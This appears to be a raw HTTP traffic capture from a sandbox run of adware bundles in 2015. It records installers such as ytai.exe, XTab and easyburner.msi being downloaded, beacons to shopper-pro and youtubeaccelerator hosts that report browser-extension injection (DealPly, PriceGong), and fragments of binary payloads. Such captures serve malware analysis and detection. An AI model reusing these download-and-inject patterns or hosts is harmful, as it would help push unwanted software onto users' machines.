bdc8afc2d63bea659b942.cloudfront.net (CloudFront)..X-Amz-Cf-Id: FuVFRe
0QJe9KwkdrP4Y9iuSo0VPVScrrTnfAcPscf4qwRCtMtJAVFA==..o.r.:. .%.d.,. .R.
e.g.O.p.e.n.K.e.y.E.x.........[.S.b.T.r.a.c.e.r.:.:.R.e.g.i.s.t.e.r.O.
n.C.o.n.f.i.g.u.r.a.t.i.o.n.C.h.a.n.g.e.]. ._._._.E.r.r.o.r.:. .%.d.,.
 .R.e.g.N.o.t.i.f.y.C.h.a.n.g.e.K.e.y.V.a.l.u.e...[.S.b.T.r.a.c.e.r.:.
:.U.p.d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]...[.S.b.T.r.a.c.e.r.:.:.U.p.
d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]. .D.o.n.e.........<.<.<.&
lt;.<.<.<.<.<.<.<.<.<.<.<.>.>.&
gt;.>.>.>.>.>.>.>.>.>.>.>.>. .M.O.
D.U.L.E. .D.E.T.A.I.L.S. .<.<.<.<.<.<.<.<.<
.<.<.<.<.<.<.>.>.>.>.>.>.>.>
.>.>.>.>.>.>.>.........:. . . . . . . . . .....M.
o.d.u.l.e.N.a.m.e.....P.r.o.d.u.c.t.N.a.m.e...:. . . . . . . . ...C.o.
m.p.a.n.y.N.a.m.e...P.r.o.d.u.c.t.V.e.r.s.i.o.n.....:. . . . . .....O.
r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.....:. . . .....F.i.l.e.V.e.r.s.i.o.n...
F.i.l.e.D.e.s.c.r.i.p.t.i.o.n...:. . . . ...........<.<.<
<<< skipped >>>

GET /ytai.exe HTTP/1.1


Range: bytes=1000000-1206159
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 206160
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:41 GMT
Content-Range: bytes 1000000-1206159/1206160
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 9aEdf9gwJ0r-zNcmyCYx7yEwG_cThA8_lpcNzfzPteyY0IgBWwvPSQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 206160..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 12 Feb 2015 05:32:41 GMT..Content-Range: bytes 1000
000-1206159/1206160..X-Cache: Miss from cloudfront..Via: 1.1 2b7e0587e
76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 9aEd
f9gwJ0r-zNcmyCYx7yEwG_cThA8_lpcNzfzPteyY0IgBWwvPSQ==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /img/youtube-accelerator-logo.png HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn



.m..{...=.W.J..u;..Q.]Wa76....OZ.`.Z...fKY....!~.@ `.....VD.$..;..6.}.
.......#.P.....qeK..j.g.P.z..#.S...9..o}.J..,..Y6.}>6.^.{.c._..""..
.H......9.s....N~.r....nA.....Z...J..#"....!.qf ...e...{..w..^..[...M~
d..eK)......|n..N.NN..c[.'P[YE\a.. .8.. ..HBJ..D...*B}.LG.....A.._...v
d.v.5h..../.........hV..;..p..("#..$!..;.........a.7&H..Pm$.^.........
s..4...E..9...m..B5uQ..C....)!i!f...[.BG..Nb....tb........H.)..y......
.{[email protected]`...O....0..B8.jvK.N..;..........O.J.Yj.d...K..j...a...."
....e3........b.......wD.....v...BA.v`Y."1...R.4.X......B.`.....{....*
C($....A8....K..=......;...>Q...H...M._..1.....T.9.z....r.RIq..(2..
...>.9....P:.2"9...d..I.1.H.w..p..C.Op..E....$E.j .t..../^......../
...(.ud.<U...hA..,...W/.cO...{....`.....C/...!......E@........ ^a..
...K..j..x...............Q..!.G.i].../.x..V)...O...N.x4Y.FG........~.~
..4......rGd$_...1... G........w. .{...`'.1...hAd..$....2g!.I.R..-....
V.9..$ ....*n..I.Q....PB.B.(....tA..8a..K."...TYv.......W..........p..
.p..A....3e.*..J.)9....KY.?...........].|a..B.HK.4>...........7..3.
0{].6\...t..|..!.qhOHZ....3..^.E.&...Mb.Gt..3.s.......q8.u..... 8.....
.}p..^....|.:.. .B..#T.........V........5.#..........!..NXi.].E.....v.
.V ~...mX.E.7.UNeq.....#8.'..JP.J&W...Nz...tD...*..*u..$...VZ..rk..9..
...]f..~...*s.w.r.NznW.y$.?(7.|U..Q.J.I.........y.\JD...|..(7 .]~.._..
q..a....C..',..*.1....v....X.K..P[.$..x....g.C?....s..C/.......Q.3.C./
!.q..e.< e.....?N1]4....us...........b...'...R....-w.V..:D...s.%%.r
..Fu..*..d.Y........&.f..bM..........F.M%.....Ze.q...1%[email protected]..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=DealPly_NoPriceGong HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..



GET /affiliates/easyburneres/easyBurner_logo48.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: downloadcdn.filebulldog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 3759
Connection: keep-alive
Server: nginx
Date: Thu, 12 Feb 2015 05:32:02 GMT
Last-Modified: Sun, 19 May 2013 09:39:42 GMT
ETag: "51989dde-eaf"
Expires: Thu, 12 Feb 2015 05:42:02 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: Miss from cloudfront
Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5lmlOQPoEWn4XAZtEXc8QeH0jwuP1AspyCb_7dlxyWKWlTkisgpCjw==
.PNG........IHDR...0...0......`n.....gAMA......a.....pHYs..........(J.
....tEXtSoftware.Paint.NET v3.5.100.r.... IDATXG...T.g..?.}.v....=.w.i
..L........-Z.ZP\p.Xm...[...;.....E\@@.%@B [email protected]......}...IH..s.9..
..N....<......`......yt,.4l.....C8.o8...~Q ..g..Yo.............$T.9
r}..A.1.tf......<.....1...|......K4.J..*s4.V..J.E...r....2..*9V/...
h..).....b..=D./....Hk.P..ct........%..e"g.)..^%....(:-..............4
n.<...^......Io.SnL.0.....d..L..:t.~.f..E..<. ..e.....f?.M.'....
.6.jO.gMN...].....z.?..).....j.!q.\U.H....2=Wa...t&..b.3.......x.o.(d.
.f.V.O.2.-.[Dk...~.\...&...c.8'..j.jLo.zz.e....8b.-......c.{X.0...p~IN
.|..E....VpV.k..n.~....v^j......-&.~.,.5.....&v...`l.j..2Rg.._5...K1.3
.L.......&.3Sk..$..<..Jo.{.Z.}....U.-....J8......h.l.P.V.{[q.Ku.Sg`
........t...G.>...c.'.....D.....1.$..I.1.q.. ..hN(f...Xq.....5...5.
b.ZL.."...$'..g<F.../. ....M....i.......8Ua.;[email protected].._........\
.Y~..<.n.......2.d...".....~..^.......$;.>.......:.).......d..1S
.....WV...>...,.[_.%'..K........[5.o.....n..4....C.................
|.)=.!K...1;.-L.q....L9.8..1c.f*#..-....... ..H...n.i.#eR.....e7.Q.5..
dj...jf){.?....l...........DG<...R..W..70.0eNfz...0.TL0Q........Q..
.o.p.L\...T...U.nTG..m}....b....._Y..].............D/.a....C.<d.<
;F....LP.v..D..0A.*1...WR..!.B.&...Z.2.Dm..Au....5.5:.}m..3...~...8.|.
v...|\...y...~...:..3..t?`.m=`.Z.....E.../2.b..J.R|A.)z.7..#....[W.2
.........-H....%."=.6|.c......".ME2.r..&R..8=....U.......6.F@&.esfMD..
. .e.*.<..t....W...5D.5E......V....~._.q..... ...e....Z.=].}=.l
<<< skipped >>>


GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inixggda.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:18 GMT
Content-Type: application/octet-stream
Content-Length: 2463400
Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT
Connection: keep-alive
Expires: Sat, 14 Mar 2015 05:33:18 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=PriceGong_DealPly&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /app/ping.ashx?e=bdqY0vC4PYsaXrHZgA5m37gmbLfAutldqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gXVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0wIYhGGWrNEBWLfeo/B59z4BlKlGJcuDg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9EMGHDQVw/vzGhU19XqFTVuS55OePfOVKxbaMNHmg 4ouIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXtUYb9dqX32KOEog NNy6LA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=xBG2NTmY QIaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/AmTADg95nKug8SfsOq8sVv HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=M7A8vgjJHrhPNjxRBLtb45TxNhcjCsnft8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHcZEstqg/Y81lIQncsUP2MMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP  IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:57 GMT
Content-Length: 0



GET /s/abel/v6/3YEwT2a1878zysq92S8_9w.eot HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: fonts.gstatic.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: font/eot
Last-Modified: Thu, 28 Aug 2014 18:23:54 GMT
Date: Thu, 29 Jan 2015 11:17:29 GMT
Expires: Fri, 29 Jan 2016 11:17:29 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Server: sffe
Content-Length: 10793
X-XSS-Protection: 1; mode=block
Age: 1188985
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: public, max-age=31536000
..........e.eL.\..w..eq/..NY..].w..RX......R..h.[..}.7.....;.3.$s..L..
[email protected][email protected]..........,.....rL....-........C..
....x.......%...............S..o...}.0.......8....e.N!Keg.i.2e.x$f....
.J"R..b.?m.I9X%.1.C.zI..Ah^aJ I.w..%S.A..NJ...!8...vIC..S..H...%......
GD..]...4m%%....n.R..i..n.T..$..W..E.Sm.-*[email protected].~%....1.9u.
...1V..{xh....I..H..4.i..N...B..1.......;.<......e.?/...1.Jy ..`;..
$...k.p....:.L.-.......r....s..\..1_X.h.I....$o....d.C.cga~F.-..F.....
?.0~...C.'.7d...r..3..}....&=......9...q..7.....x/^:.K..Ec.......f.hx(
X..:... ....... J......%KX..1..0.kNX:.W...).......J.z..2....4b.......2
'.Gm9e..wS.Tx.dS.....=....j#.}..V...c..s.H......#.....G.r......\:.E.61
..D.7... I...y.9g!...L.%...8J..3.^F.8....]BgG.,^i......?.88v...;....&g
t;l=\x...O{..N.D.A.K.....O.b]o.....,.5...lW-N;....11-X..'.:.%..j....".
G%V.....G..Xg.......n....0w-."[email protected].'....p$....G4..p....V.w.......[|.
....C.........h..bB.Qc.`..K..v.|...eK..7.Vj...z.....fv.&PB.K.T.2..|1..
.._x..5...O....l."...(h...............W..Q....D_.&U...S....5..].......
.6.k.=......^......i./:.F0./..r_.........9.......7!...a.."...s........
.....3'.lz...k..H.$...wF.7...tlUI.^aH.Q..K.eZ.....IF.]kj..0.....f|:...
.....R.....\Q.mG....]/<....}1.1.>...b(<.\B.\...}.e........o(.
.>.o.=F..z.J"...l.....Ua?S..a.".3-q@v...$.'F..lNn&~0..Sy*......Y...
..p.......R*....T.G%M?....i..Y.8'..,F..Z.k....b....S......P.%x...0W...
]@;O...l..W....W.C(.....<..^.Y.(t=.#s....5..7.I.....}....E3.{~.....
. .^...1.....A[.....1l.R....jYX...7.`b.`.F.......Wh....X...)...Qt"
<<< skipped >>>


GET /gv/en/easyburner.msi HTTP/1.1
Referer: hXXp://app.easy-burner.com/gv/en/easyburner.msi
User-Agent: dwplayer
Host: app.easy-burner.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: install_cookie=14782,,; softdown=1423719126364044


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: application/octet-stream
Content-Length: 6989824
Last-Modified: Fri, 08 Mar 2013 12:25:19 GMT
Connection: keep-alive
Content-Disposition: filename=easyburner.msi
Accept-Ranges: bytes
........................>...................k...............8......
......................................................................
......................................................................
......................................................................
............................................................ ...!...!.
.."..."...#...#...$...$...%...%...&...&...'...'...(...(...)...)...*...
*... ... ...,...,...-...-.........../.../...0...0...1...1...2...2...3.
..3...4...4...5..................;....................................
......................................................................
......... ...!..."...#...$...%...&...'...(...)...*... ...,...-......./
...0...1...2...3...4...5...6...7...>...M...:...<.......=.......?
...@...A...C.......D...E...F...G...H...I...J...N...L.......K...O...P..
.Q...Z...S...T...U...V...W...X...Y...K...[...\...]...^..._...`...a...b
...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s..
.t...u...v...w...x...y...z...{...|...}...~...........R.o.o.t. .E.n.t.r
.y....................................................................
........F..............c~5...9....o........S.u.m.m.a.r.y.I.n.f.o.r.m.a
.t.i.o.n...........................(..................................
.....................t.......@H.?.C.A.E.D1H...........................
...............................a......................................
.....R...h.......@H.?dA/B6H...........................................
...............................................................~..
<<< skipped >>>


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.omniroot.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:35:01 GMT
Last-Modified: Thu, 05 Feb 2015 19:47:05 GMT
Server: ECS (ams/D1C2)
X-Cache: HIT
Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015020
5094606Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H.............g...].R
...<[email protected].... .......v...MM.pos"y.#F..{K........D
.S_.F?.u...........Z"..?.....Q.:4...pm.T.R../{iU..6.........3z3.".....
.a._P.....e.n$-...SCoP..V....l.B.CU!....D..8....O. _....AHl{W=Dc. .(.I
`.h..e..R........I..K...6!.r....>t.l.../.I....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..
<<< skipped >>>


GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:42 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Thu, 12
 Feb 2015 05:33:42 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
DNT: 1
Connection: Keep-Alive
Host: VVV.google.com


HTTP/1.1 302 Found
Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254&ipr=y
Cache-Control: private, max-age=43200
Date: Thu, 12 Feb 2015 05:33:59 GMT
Expires: Thu, 12 Feb 2015 05:33:59 GMT
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: adclick_server
Content-Length: 950
X-XSS-Protection: 1; mode=block
Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=374445173&cv=7&fst=1423719243317&num=1&fmt=3&la
bel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=90
1&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url
=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%2
